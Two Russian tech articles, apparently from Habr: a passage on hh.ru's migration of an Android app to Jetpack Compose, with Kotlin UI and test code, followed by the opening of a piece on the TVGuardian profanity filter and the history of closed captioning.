А получилось вот что: очень сложный фреймворк поверх RecyclerView, огромное количество интерфейсов, сущности, которые решали разные задачи, биндинг, инфлейт, дифинг и многое другое. В общем, получилось всё до ужаса сложным и каждая ячейка описывалась очень громоздкой конструкцией, в которой было много параметров и дженериков, а еще приходилось дублировать очень много кода. Это был провал.
Пример ячейки из дизайн-системы
```
class IconTitleCell(
val id: String,
override val dataModel: DataModel,
override val icon: CellIcon,
override val title: CellTitle,
override val isDisabled: Boolean = false,
override val separatorType: SeparatorType = SeparatorType.FULL,
override val clickListener: IconTitleCellClickListener? = null,
override val paddingStart: Padding = Padding.NONE,
) : CompoundCell(
leftModel = ImageTitleLeftCellModel(
image = icon.toCellImage(),
title = title
),
rightModel = EmptyRightCellModel(),
dataModel = dataModel,
isDisabled = isDisabled,
separatorType = separatorType,
clickListener = clickListener
),
WithCellIcon,
WithCellTitle,
WithCompoundCell {
override val diffingStrategy: CellDiffingStrategy by IdContentDiffingStrategy(
diffId = id,
diffContent = DiffContent(
leftModel = leftModel,
baseDiffContent = getBaseDiffContent()
)
)
private data class DiffContent(
private val leftModel: ImageTitleLeftCellModel,
private val baseDiffContent: BaseDiffContent,
)
}
```
Тонна generic-ов, куча интерфейсов, специальная diffing-стратегия, чтобы корректно сравнивать одну ячейку с другой, множество общих для всех ячеек override-параметров... В таком виде даже простые ячейки описывались довольно сложно и имели некоторые подводные камни в реализации.
А на Compose весь наш фреймворк ячеек уместился в 80 строк.
Весь фреймворк ячеек
```
@Composable
fun HHCellCarcass(
isEnabled: Boolean,
separatorStyle: SeparatorStyle,
modifier: Modifier = Modifier,
cornersStyle: CornersStyle = CornersStyle.Rectangle,
onClick: (() -> Unit)? = {},
right: @Composable (() -> Unit)? = null,
left: @Composable () -> Unit,
) {
val shape = cornersStyle.toShape()
val alpha = when {
onClick == null || isEnabled -> ThemeConstants.FULL_ALPHA_VALUE
else -> ThemeConstants.DISABLED_ELEMENT_ALPHA_VALUE
}
val clickAndSemanticsModifier = if (onClick != null) {
Modifier.clickable(
interactionSource = remember { MutableInteractionSource() },
indication = rememberRipple(color = HHColors.ripple),
enabled = isEnabled,
onClickLabel = null,
role = null,
onClick = onClick
)
} else {
Modifier
}
CellCarcassBox(
alpha = alpha,
shape = shape,
separatorStyle = separatorStyle,
modifier = modifier,
clickAndSemanticsModifier = clickAndSemanticsModifier,
right = right,
left = left
)
}
@Composable
private fun CellCarcassBox(
alpha: Float,
shape: Shape,
separatorStyle: SeparatorStyle,
modifier: Modifier,
clickAndSemanticsModifier: Modifier,
right: @Composable (() -> Unit)? = null,
left: @Composable () -> Unit,
) {
Box(
modifier = modifier
.alpha(alpha)
.clip(shape)
.then(clickAndSemanticsModifier)
) {
Column(verticalArrangement = Arrangement.Top) {
Row(
horizontalArrangement = Arrangement.Start,
verticalAlignment = Alignment.CenterVertically
) {
Box(Modifier.weight(1f)) {
left()
}
if (right != null) {
Spacers.XSSpacer(Spacers.Direction.Horizontal)
right()
} else {
Spacers.MSpacer(Spacers.Direction.Horizontal)
}
}
Row {
CellSeparator(
modifier = Modifier
.weight(1f),
separatorStyle = separatorStyle
)
}
}
}
}
```
С момента [выхода видео](https://www.youtube.com/watch?v=_XJnMs_nKZY&ab_channel=hhtech) в "Охэхэнных историях" ячейки немного усложнились. Во-первых, мы поняли, что нам неудобно проставлять weight в каждой ячейке для растягивания левой части, поэтому вытащили weight в основной каркас. А во-вторых, у нас появилась специальная expandable-ячейка, для которой нужно было убирать click без изменений alpha и семантики.
Как было в видео
```
@Composable
internal fun HHCellCarcass(
isEnabled: Boolean,
separatorStyle: SeparatorStyle,
modifier: Modifier = Modifier,
cornersStyle: CornersStyle = CornersStyle.Rectangle,
onClick: () -> Unit = {},
content: @Composable RowScope.() -> Unit,
) {
Surface(
modifier = modifier
.alpha(if (isEnabled) ThemeConstants.FULL_ALPHA_VALUE else ThemeConstants.DISABLED_ELEMENT_ALPHA_VALUE),
shape = cornersStyle.toShape(),
interactionSource = remember { MutableInteractionSource() },
indication = rememberRipple(color = HHColors.colorRipple),
enabled = isEnabled,
onClick = onClick
) {
Column(verticalArrangement = Arrangement.Top) {
Row(
horizontalArrangement = Arrangement.Start,
verticalAlignment = Alignment.CenterVertically
) {
content()
}
Row {
CellSeparator(
modifier = Modifier
.weight(1f),
separatorStyle = separatorStyle
)
}
}
}
}
```
И этот каркас тоже прекрасно решал свою задачу.
Весь фреймворк написался буквально за один вечер. Здесь есть каркас, который умеет принимать в себя левую и правую части, контролирует общие параметры (“ячейка доступна/недоступна”, “включить/выключить альфу”, “показать/не показать разделитель в списке” и многое другое).
Пример ячейки на Compose
```
@Composable
fun CheckboxCell(
checked: Boolean,
title: String,
modifier: Modifier = Modifier,
titleAlignment: Alignment.Vertical = Alignment.Top,
subtitle: String? = null,
isEnabled: Boolean = true,
separatorStyle: SeparatorStyle = SeparatorStyle.None,
onClick: () -> Unit,
onCheckboxClick: (() -> Unit)? = null,
) {
HHCellCarcass(
isEnabled = isEnabled,
separatorStyle = separatorStyle,
modifier = modifier,
onClick = onClick
) {
CellLeftCheckbox(
checked = checked,
title = title,
titleAlignment = titleAlignment,
subtitle = subtitle,
onCheckboxClick = onCheckboxClick,
)
}
}
```
Да и сами ячейки стали попроще. Да, в них по-прежнему осталось большое количество разных параметров, но само содержимое этих ячеек значительно упростилось. Кажется, это большая победа Compose.
### Что там с UI-тестами
В рамках перевода нашего простого экрана на Jetpack Compose мы решили заодно поресерчить, как обстоит вопрос с UI-тестами. Спойлер: их можно писать, и они работают уже сейчас.
В процессе ресерча мы слезли с наших форков [Kaspresso](https://github.com/KasperskyLab/Kaspresso) и [Marathon](https://github.com/MarathonLabs/marathon), на которых сидели аж два года. Они существовали у нас, потому что нам хотелось сделать Allure-отчеты с шагами, но современные версии Kaspresso и Marathon уже поддерживают это прямо из коробки и, более того, полностью поддерживают функциональность работы с Jetpack Compose. Поэтому мы наконец-то пересели на стабильные версии.
Что такое Allure-отчёты с шагами?..Текущая стабильная версия Kaspresso уже давно [поддерживает генерацию отчётов](https://github.com/KasperskyLab/Kaspresso/blob/master/wiki/09_Kaspresso-Allure.md) с шагами, главное подключить правильный test runner.
Мы попробовали написать "гибридные" UI-тесты. Они проходились по части XML-ных экранов, переходили на экран с Jetpack Compose-виджетами, а затем обратно. В общем, немножко потестили навигацию, как работают assert-ы в Compose-контексте, и вроде всё работает.
Код одного из тестов для Compose-экрана
```
internal class AboutScreenTest : AppicantTestCase() {
private val aboutComposeScreen = AboutComposeScreen(composeTestRule)
@Test
@MoreScreenSuit
fun checkAboutScreenHeader() {
init {
// do nothing
}.run {
step("Переходим на экран About") {
navigation { openMoreScreen() }
moreScreen.actions { openAbout() }
}
step("Проверяем состояние экрана для \"России\"") {
aboutComposeScreen {
checks {
assertHeaderIsDisplayed()
assertHeaderText("HeadHunter")
assertOfficialPagesSectionDisplayed()
}
actions {
clickOnBackButton()
}
}
}
step("Меняем страну поиска и возвращаемся на экран About") {
moreScreen.actions { changeCountry("Беларусь") }
navigation { openMoreScreen() }
moreScreen.actions { openAbout() }
}
step("Ещё раз проверяем состояние экрана") {
aboutComposeScreen {
checks {
assertHeaderIsDisplayed()
assertHeaderText("rabota.by")
assertOfficialPagesSectionDisplayed()
}
}
}
}
}
}
```
Кстати, с тестами была одна хитрость — для взаимодействия с Compose-виджетами вам нужен специальный [ComposeTestRule](https://developer.android.com/reference/kotlin/androidx/compose/ui/test/junit4/ComposeTestRule). И нужно внимательно выбрать fabric-метод для создания такого Rule-а, потому что можно случайно запустить несколько Activity вашего приложения. В нашем случае подошёл *createEmptyComposeRule*:
```
@get:Rule
val composeTestRule = createEmptyComposeRule()
```
При этом Kakao теперь поддерживает Compose и вы можете писать мини-Page Object-ы для, например, ваших кастомных вьюшек, чтобы упростить жизнь тестировщикам. Всё просто: пишете специальный Page Object для баннера или кнопочки, а тестировщики будут их использовать.
Пример кастомного Page Object-а
```
class ComposeBannerKNode(
semanticsProvider: SemanticsNodeInteractionsProvider,
nodeMatcher: NodeMatcher = NodeMatcher(
matcher = SemanticsMatcher(
description = "Empty matcher",
matcher = { true }
)
),
) : BaseNode(semanticsProvider, nodeMatcher) {
private val title: KNode = child {
hasTestTag(ComposeTestTags.banner.title)
}
private val message: KNode = child {
hasTestTag(ComposeTestTags.banner.message)
}
private val primaryButton: KNode = child {
hasTestTag(ComposeTestTags.banner.primaryButton)
}
private val secondaryButton: KNode = child {
hasTestTag(ComposeTestTags.banner.secondaryButton)
}
}
```
В качестве аналога обычным идентификаторам в Jetpack Compose используется специальный [Semantics.testTag](https://developer.android.com/jetpack/compose/testing). Это те же идентификаторы, по которым можно искать определенные элементы, виджеты, взаимодействовать с ними, и так далее. А еще можно пробрасывать собственные кастомные семантические свойства. Это может потребоваться, например, [для сравнения какой-нибудь картинки](https://stackoverflow.com/questions/68662342/jetpack-compose-testing-assert-specific-image-is-set).
Удивительно, но в данный момент в Jetpack Compose при попытке протестировать ту же картинку, что засетилась, вы не можете не можете достучаться до свойств той картинки, которая вам нужна. Каждый элемент экрана — это просто какая-то нода, у которой нет никаких свойств, и вы можете взаимодействовать только с семантикой. Приходится пробрасывать свои собственные свойства.
А что-нибудь ещё интересное пробовали?Еще в рамках ресерча мы пробовали написать [unit-тесты на отдельные виджеты](https://%D0%95%D1%89%D0%B5%20%D0%B2%20%D1%80%D0%B0%D0%BC%D0%BA%D0%B0%D1%85%20%D1%80%D0%B5%D1%81%D0%B5%D1%80%D1%87%D0%B0%20%D0%BC%D1%8B%20%D0%BF%D1%80%D0%BE%D0%B1%D0%BE%D0%B2%D0%B0%D0%BB%D0%B8%20%D0%BD%D0%B0%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C%20%D1%8E%D0%BD%D0%B8%D1%82-%D1%82%D0%B5%D1%81%D1%82%D1%8B%20%D0%BD%D0%B0%20%D0%BE%D1%82%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%B2%D0%B8%D0%B4%D0%B6%D0%B5%D1%82%D1%8B.%20%D0%95%D1%81%D0%BB%D0%B8%20%D0%B2%D1%8B%20%D1%83%D0%B6%D0%B5%20%D0%BF%D0%B8%D1%81%D0%B0%D0%BB%D0%B8%20UI-%D1%82%D0%B5%D1%81%D1%82%D1%8B%20%D0%BD%D0%B0%20%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D1%83%D0%B7%D0%BE%D0%B2%D1%81%D0%BA%D0%B8%D0%B5%20%D1%8D%D0%BA%D1%80%D0%B0%D0%BD%D1%8B,%20%D0%B2%D1%8B%20%D0%B7%D0%BD%D0%B0%D0%B5%D1%82%D0%B5,%20%D1%87%D1%82%D0%BE%20%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%20%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C%20%D0%B8%20%D0%BE%D1%82%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5,%20%D0%BC%D0%B0%D0%BB%D0%B5%D0%BD%D1%8C%D0%BA%D0%B8%D0%B5%20unit-%D1%82%D0%B5%D1%81%D1%82%D1%8B%20%D0%BD%D0%B0%20%D0%BE%D1%82%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%B2%D0%B8%D0%B4%D0%B6%D0%B5%D1%82%D1%8B,%20%D0%B0%20%D0%B7%D0%B0%D1%82%D0%B5%D0%BC%20%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D1%82%D1%8C%20%D0%B8%D1%85%20%D0%BD%D0%B0%20JVM.%20%D0%AD%D1%82%D0%BE%20%D0%BC%D0%BE%D0%B6%D0%B5%D1%82%20%D0%BF%D1%80%D0%B8%D0%B3%D0%BE%D0%B4%D0%B8%D1%82%D1%8C%D1%81%D1%8F,%20%D0%B5%D1%81%D0%BB%D0%B8%20%D0%B2%D1%8B%20%D1%80%D0%B5%D1%88%D0%B8%D1%82%D0%B5%20%D0%BD%D0%B0%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C%20%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D1%83%D1%8E%20%D0%BA%D0%B0%D1%81%D1%82%D0%BE%D0%BC%D0%BD%D1%83%D1%8E%20%D0%B2%D1%8C%D1%8E%D1%88%D0%BA%D1%83,%20%D0%B2%20%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D0%BE%D0%B9%20%D0%BF%D1%80%D0%BE%D0%B1%D1%80%D0%B0%D1%81%D1%8B%D0%B2%D0%B0%D0%B5%D1%82%D1%81%D1%8F%20%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%B0%D1%8F%20%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C.%20%D0%A2%D0%BE%D0%B3%D0%B4%D0%B0%20%D0%B2%20%D1%80%D0%B0%D0%BC%D0%BA%D0%B0%D1%85%20unit-%D1%82%D0%B5%D1%81%D1%82%D0%BE%D0%B2%20%D0%BF%D0%BE%D0%BB%D1%83%D1%87%D0%B8%D1%82%D1%81%D1%8F%20%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C,%20%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D0%BE%20%D0%BB%D0%B8%20%D1%81%D0%B5%D1%82%D1%8F%D1%82%D1%81%D1%8F%20%D1%82%D0%B5%20%D0%B8%D0%BB%D0%B8%20%D0%B8%D0%BD%D1%8B%D0%B5%20%D1%81%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0. %20%20%D0%9A%D0%BE%D0%B3%D0%B4%D0%B0%20%D0%BC%D1%8B%20%D0%BF%D0%BE%D0%BF%D1%8B%D1%82%D0%B0%D0%BB%D0%B8%D1%81%D1%8C%20%D0%BD%D0%B0%D0%BF%D0%B8%D1%81%D0%B0%D1%82%D1%8C%20%D1%82%D0%B0%D0%BA%D0%BE%D0%B9%20unit-%D1%82%D0%B5%D1%81%D1%82,%20%D1%83%20%D0%BD%D0%B0%D1%81%20%D0%B2%D1%81%D1%91%20%D0%BE%D1%87%D0%B5%D0%BD%D1%8C%20%D1%82%D1%80%D1%83%D0%B4%D0%BD%D0%BE%20%D0%B7%D0%B0%D0%B2%D0%BE%D0%B4%D0%B8%D0%BB%D0%BE%D1%81%D1%8C.%20%D0%9D%D0%B0%D0%BC%20%D0%BF%D1%80%D0%B8%D1%85%D0%BE%D0%B4%D0%B8%D0%BB%D0%BE%D1%81%D1%8C%20%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D1%8C%20%D0%BD%D0%B5%D0%BF%D0%BE%D0%BD%D1%8F%D1%82%D0%BD%D1%8B%D0%B5%20%D1%85%D0%B0%D0%BA%D0%B8%20%D1%81%20%D0%B3%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%BC,%20%D1%83%D1%87%D0%B8%D1%82%D1%8B%D0%B2%D0%B0%D1%82%D1%8C%20%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE%20%D0%BD%D0%B5%D0%BF%D0%BE%D0%BD%D1%8F%D1%82%D0%BD%D1%8B%D1%85%20%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BA,%20%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%82%D1%8C%20%D0%BA%D1%83%D1%87%D1%83%20%D0%B1%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA.%20%D0%92%20%D0%BE%D0%B1%D1%89%D0%B5%D0%BC,%20%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%20%D0%B2%D1%81%D0%B5%D1%85%20%D1%8D%D1%82%D0%B8%D1%85%20%D1%81%D1%82%D1%80%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B9%20%D0%BC%D1%8B%20%D0%BF%D1%80%D0%B8%D1%88%D0%BB%D0%B8%20%D0%BA%20%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D1%83,%20%D1%87%D1%82%D0%BE%20%D0%BD%D0%B0%20%D1%81%D0%B0%D0%BC%D0%BE%D0%BC%20%D0%B4%D0%B5%D0%BB%D0%B5%20%D0%BE%D0%BD%D0%BE%20%D0%BD%D0%B0%D0%BC%20%D0%BD%D0%B5%20%D0%BD%D0%B0%D0%B4%D0%BE,%20%D0%BF%D0%BE%D1%82%D0%BE%D0%BC%D1%83%20%D1%87%D1%82%D0%BE%20%D0%BD%D0%B0%D1%88%D0%B8%20UI-%D1%82%D0%B5%D1%81%D1%82%D1%8B%20%D0%B4%D0%B5%D0%BB%D0%B0%D1%8E%D1%82%20%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%BD%D0%BE%20%D1%82%D0%BE%20%D0%B6%D0%B5%20%D1%81%D0%B0%D0%BC%D0%BE%D0%B5.%20%D0%90%20%D0%B8%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE:%20%D0%B1%D0%B5%D1%80%D1%83%D1%82%20%D0%B8%20%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D1%8E%D1%82%20%D0%BA%D0%B0%D0%B6%D0%B4%D1%8B%D0%B9%20%D0%B2%D0%B8%D0%B4%D0%B6%D0%B5%D1%82%20%D0%BD%D0%B0%20%D0%B5%D0%B3%D0%BE%20%D1%81%D0%BE%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B8%D0%B5%20%D0%B4%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD%D1%83,%20%D0%BD%D0%B0%20%D0%BA%D0%BE%D1%80%D1%80%D0%B5%D0%BA%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C%20%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B%20etc.) с помощью Kaspresso и Robolectric. Такие тесты могут пригодиться, если вы решите написать сложную кастомную вьюшку, в которой пробрасывается сложная модель. Тогда в рамках unit-тестов получится проверить, правильно ли сетятся те или иные свойства.
Когда мы попытались написать такой unit-тест, у нас всё очень трудно заводилось. Нам приходилось производить непонятные хаки с Gradle-ом, учитывать много непонятных настроек, подключать кучу библиотек. В общем, после всех этих страданий мы пришли к выводу, что на самом деле оно нам не надо, потому что наши UI-тесты делают примерно то же самое.
### Как планируем мигрировать на Compose?
Итак, мы перевели экран на Jetpack Compose, поресерчили UI-тесты, показали демо команде и решили, что эксперимент был успешным. Дальше мы захотели двигаться в сторону миграции на Jetpack Compose. Но как именно мы будем двигаться?..
Существует несколько стратегий миграции с одной технологии на другую.
Первую можно условно назвать **“революция”** — это когда вы говорите: “Ребята, с завтрашнего дня мы все пишем на Jetpack Compose”. Да, не у всех есть опыт работы с этой технологией, есть куча нерешенных проблем, вы не знаете, как будете реализовывать тот или иной элемент вашей дизайн-системы. Зато вся команда прокачивается разом и вы сразу пишете на новой технологии. Это быстрый путь, но жестокий, ненадежный и нестабильный. Если завтра будет релиз и понадобится срочно что-то сделать, неизбежно возникнут трудности и проблемы.
Второй путь — **“реформа”**. Вы выделяете отдельную команду, которая говорит остальным: “Коллеги, пока пишите просто на XML, как привыкли. А мы поделаем все элементы дизайн-системы, решим основную массу проблем и, когда все будет готово, мы всех позовем, чтобы начать адаптацию новой технологии под вас”.
И третья стратегия — это нечто среднее между первыми двумя, ее можно назвать **“программа раннего доступа”** (EAP — early access program). С помощью платформенной команды решаете какую-то часть проблем (но не все), затем выбираете команду, которая готова страдать больше других и просите их писать на новой технологии. Эта команда будет сталкиваться с разными проблемами, будет решать их самостоятельно и, главное, прокачиваться. Другие команды до некоторых пор будут продолжать сидеть на старой технологии, зато когда решит попробовать Compose, будут уже **две команды**, которые готовы им помогать.
EAP — более быстрый путь, чем “реформа”, и более надежный, чем “революция”. Так что мы решили, что будем двигаться по пути от “реформы” к “early access program”. Выделим команду, которая будет собирать все шишки и создавать компоненты дизайн-системы, а при декомпозиции каждого продуктового портфеля, будем звать продуктовую команду и вместе с ними оценивать, насколько готова наша дизайн-система к реальному production-экрану. И если всё отлично, то мы начнем перетаскивать всех разработчиков на Jetpack Compose.
### И как успехи?
В начале марта мы были сосредоточены на реализации компонентов дизайн-системы. Мы завели специальную доску в Miro, где отслеживали прогресс в реализации этих компонентов и наклеили кучу желтых стикеров, обозначая ещё не реализованые компоненты. Реализованные компоненты помечали зелёным цветом.
Состояние доски в мартеСтикеры постепенно "зеленели", это грело душу.
Мы понимали, что Jetpack Compose — это молодая технология, поэтому многого из коробки просто нет. Нам не хватило тогда, например, простого XML-флажочка [includeFontPadding](https://developer.android.com/reference/android/widget/TextView#attr_android:includeFontPadding).
Зачем этот атрибут нужен?Когда ваши дизайнеры рисуют типографику в Figma, они обычно центрируют текст внутри контейнера с текстом. В Android у нас нет возможности центрировать текст внутри контейнера из коробки. Но есть специальный лайфхак с [includeFontPadding](https://developer.android.com/reference/android/widget/TextView#attr_android:includeFontPadding) и возможностью указать специальное значение [firstBaselineToTopHeight](https://developer.android.com/reference/android/widget/TextView#attr_android:firstBaselineToTopHeight) и [lastBaselineToBottomHeight](https://developer.android.com/reference/android/widget/TextView#attr_android:lastBaselineToBottomHeight), чтобы попробовать сделать pixel perfect текста вместе с Figma.
В Compose этого флажочка нет, поэтому если наложить друг на друга экраны "О приложении" на XML и Compose, то станет заметно, что Compose-версия немного отличается от XML.
Как это выглядит?Если наложить два изображения друг на друга, видим, что надписи на Compose-версии слегка уехали вниз:
Душа перфекциониста в этот момент негодует (╯ ° □ °) ╯ (┻━┻)
Все надписи слегка уехали вниз, потому что у шрифтов есть отступы (pagging-и), и убрать их мы пока не можем. Есть некоторые workaround-ы для этой ситуации:
* Использовать внутри Compose-вёрстки AndroidView, куда вставить XML-ную TextView, чтобы использовать нужные атрибуты.
* [Подхачить файлы шрифтов](https://issuetracker.google.com/issues/171394808#comment32), чтобы убрать padding-и и написать немного кода в Modifier-ах.
* Дождаться версии Compose-а 1.2.0, чтобы наконец-то воспользоваться [нормальным решением](https://issuetracker.google.com/issues/171394808).
Еще нам не хватило нормальной работы с Bottom Sheet-ами. В Material-библиотеке Jetpack Compose есть [некоторые виджеты для работы с Bottom Sheet-ами](https://developer.android.com/reference/kotlin/androidx/compose/material/ModalBottomSheetState), но они не такие удобные как хотелось бы. Например, если нужно показать несколько Bottom Sheet-ов на одном экране, приходится создавать дополнительные классы для переключения между диалогами. Плюс еще там требуется, чтобы определенный виджет был корнем вашей иерархии — это не всегда удобно. В какой-то момент мы забросили попытки писать Bottom Sheet-ы на Compose, и начали использовать привычные BottomSheetDialogFragment-ы, с той лишь разницей, что вёрстку делали на Compose-е.
Также у нас были проблемы с реализацией CollapsingToolbar. Наши дизайнеры нарисовали замечательный конструктор для тулбара, который называется NavBar Он, аналогично ячейкам, состоит из левой, правой, верхней и нижней частей.
Как это выглядело?Как и в случае с Banner-ами, кнопками, ячейками — здесь куча вариантов.
Мы думали, что у нас получится так же удобно, как и с ячейками, но, к сожалению, NavBar иногда используется и как CollapsigToolbar. Поэтому, когда мы попробовали реализовать это, у нас сходу не получилось удобного API. Чтобы сделать сколько-нибудь приличную реализацию, нам потребовалось довольно много времени, чтобы [реализовать этот компонент.](https://t.me/hh_tech/1743)
Как я уже сказал, Jetpack Compose — молодая технология, поэтому из коробки чего-то может не хватать. В частности, например, нет такой простой вещи как [Linkify](https://developer.android.com/reference/android/text/util/Linkify). Это когда отправленная вами ссылка в чатике подсвечивается как ссылка, а при нажатии на нее открывается браузер. Этой штуки Compose сегодня просто нет, приходится ее реализовывать руками. Это [не очень сложно](https://stackoverflow.com/questions/66130513/linkify-with-compose-text), но неприятно.
### Подведём итоги
Мы смогли начать адаптацию, поэтому я думаю, что у вас всё тоже получится. Главное — начать с простенького запуска вашего приложения с подключенным Jetpack Compose.
Затем попробуйте перевести хотя бы один простенький экран на Jetpack Compose, оцените риски, насколько сложно будет реализовывать ваши компоненты дизайн-системы, насколько для вас будет трудным взаимодействие между фрагментом и Compose-овским кодом. Все это очень важно проверить на ранней стадии, прежде чем бросаться в глубокий омут этой миграции.
И последняя рекомендация — скорее всего будет проще, если вы уже используете UDF-архитектуру. Если у вас уже есть, например, тот же Presenter или же ViewModel-ка, которая отдает единый UI-стейт на рендер в ваш фрагмент. Тогда вы сможете просто заменить XML-код по рендерингу на вашу Compose-реализацию и будет гораздо проще. | https://habr.com/ru/post/679448/ | null | ru | null |
# TVGuardian. Задача: заменить ругательства в реальном времени
*«Он похож на зануду?» Реплика также может быть оценена, будто Уоллеса сравнивают с клячей, старой лошадью. [Видеоролик Джерри Ноулза](https://www.youtube.com/watch?v=xx87-zKXIUk)*
Телеприставка подключается к аналоговому телевизору. Из-за простого корпуса из шероховатого чёрного пластика она выглядит словно пришелец из восьмидесятых. Действительно, устройство построено на технологиях конца прошлого века.
Затем из телесигнала пропадает любая обсценная лексика (или часть — уровень фильтрации настраивается). Когда на экране звучит ругательство, аудиодорожка затихает. Чтобы не терять смысл реплики, на экране появляются субтитры с заменой цензурируемого слова или выражения. После окончания нехорошей реплики звук немедленно включается снова.
Даже сегодня умные колонки не транскрибируют речь пользователя, а отсылают её в облако. Очевидно, что четверь века назад точное машинное распознавание речи было в лучшем случае мечтой. Принцип работы приставки куда проще, но также он поражает остроумием и скромностью задействованных ресурсов: вся логика занимает меньше 4 КиБ.
### Дано:
До появления звука в кино реплики персонажей и комментарии сюжетных поворотов звучали в виде интертитров. Во время монтажа между двумя кадрами вставлялся кадр с нужным текстом. Практика долгие годы сохранялась в любительской съёмке, поскольку техникой для записи звука обладал не каждый демиург хоум-видео. На самом деле интертитры всерьёз используются и по сей день: они живут как вставки текста в программах демосцены.
Субтитры появились как ответ на появление звуковых фильмов и глобализацию кинематографа. На утверждение визуальных норм субтитров ушли десятки лет.
В 1970 году в США проводят первые серьёзные эксперименты по кодированию субтитров для глухих и слабослышащих в телевизионном сигнале. Работы вели Национальный институт стандартов и технологий и телевещатель ABC: они попытались отвести в телесигнале место для кодирования информации с точными таймингами. В декабре 1971 года созывается первая конференция [Национального института субтитров](https://en.wikipedia.org/wiki/National_Captioning_Institute), где демонстрируются [технические предложения](https://files.eric.ed.gov/fulltext/ED064828.pdf).
Впрочем, субтитры можно показывать для всех, прямо поверх телесигнала, а не изобретать новые протоколы передачи данных. Впервые такое происходит в 1972 году — это повтор [French Chef](http://French%20Chef) на PBS.
*Первая передача с субтитрами в США. Джулия Чайлдс знакомит американцев с французской кухней, 1972 год. [Hackaday](https://hackaday.com/2021/04/14/history-of-closed-captions-the-analog-era/)*
Минусы подобного решения:
* Субтитры занимают драгоценное место на экране, их размер никак не изменить. На тот момент крупным считался экран в 25 дюймов.
* Отключить или настроить субтитры невозможно, их будут видеть все зрители. Обладатели маленьких телеприёмников не могут увеличить размер вшитого в картинку текста.
* Часто передачи с субтитрами выходят только в повторе.
Задержка для повторов с субтитрами была огромной даже для новостей. По 1982 год глухие вынуждены смотреть вечерние выпуски новостей телеканала ABC в повторах на канале PBS с хардсабом. Повторы шли как минимум через 5 часов после изначальной трансляции, в 23:00 или 23:30, иногда даже утром в 06:30. Лишь после 1982 года субтитры добавили в основной показ.
В 1976 году Федеральная комиссия по связи США отводит 21-ю строчку телесигнала для кодирования информации со скрытыми субтитрами. В североамериканском стандарте NTSC передаются 525 строк, из которых на экране видимы 483. Избыток в 42 строки на два полукадра нужен для обратного хода электронного луча. Соответственно, строки с 1 по 21 в каждом полукадре не видны из-за вылетов развёртки, поскольку попадают в область гашения. Почему бы не задействовать одну из этих строк?
В наши дни картинка цифровая и без помех, а добавить даже несколько мегабит в поток данных не составит такого большого труда. Современные протоколы легче расширить, часто в них зарезервировано место для такой необходимости. А вот чтобы втиснуть 480 бит/с в аналоговый телеэфир семидесятых, потребовалось много усилий и тестов.
*Карточка со схемой стандарта [EIA-608](https://en.wikipedia.org/wiki/EIA-608). [Hackaday](https://hackaday.com/2021/04/14/history-of-closed-captions-the-analog-era/)*
Каждый кадр (30 раз в секунду) вместо 21-й строки протокол синхронизировался с приёмником за несколько циклов, передавал 3-битный паттерн, затем 2 защищённых битами чётности 7-битных символа текста. Текст почти всегда кодировался в ASCII. Хотя строчные буквы в кодировке есть, обычно реплики передавались только заглавными.
Приёмник затем либо записывал данные в буфер (POP-ON), либо сразу же выводил их на экран (ROLL-UP).
*Так выводились субтитры, которые передавались в 21-й строчке. [Hackaday](https://hackaday.com/2021/04/14/history-of-closed-captions-the-analog-era/)*
Для трансляции кинофильмов и сериалов подходил метод POP-ON: сначала данные передавались, затем шла команда вывести содержимое буфера, и субтитр показывался на экране, когда персонаж произносил свою реплику. Периодически шла команда на очистку экрана. ROLL-ON был нужен для выпусков новостей и трансляции спортивных соревнований. В этом режиме текст немедленно оказывался на экране.
Субтитры работали не только в трансляции. Запись на видеокассету и LaserDisc — это тоже телевизионный сигнал, поэтому строка 21 в нём присутствует.
Информацию декодировал не сам телевизор, а специальная приставка стоимостью $200–$250. На тот момент столько стоил небольшой телеприёмник. В восьмидесятых глухие и слабослышащие в США редко покупали эти приставки не только из-за дороговизны, но и отсутствия контента. Телеканалы созданием субтитров заниматься не желали, обосновывая это стоимостью процесса.
[](https://habrastorage.org/webt/nv/8o/pl/nv8oplmricd1zxjqmryzsxznwui.jpeg)
*Реклама первой приставки для декодирования субтитров Sears TeleCaption из летнего/весеннего каталога Sears от 1980 года. Реклама обещает как минимум 20 часов телепередач с субтитрами в неделю. [Catalog Blog](http://www.thecatalogblog.com/2017/07/20/sears-1980-20-hours-a-week-of-captioned-programs/)*
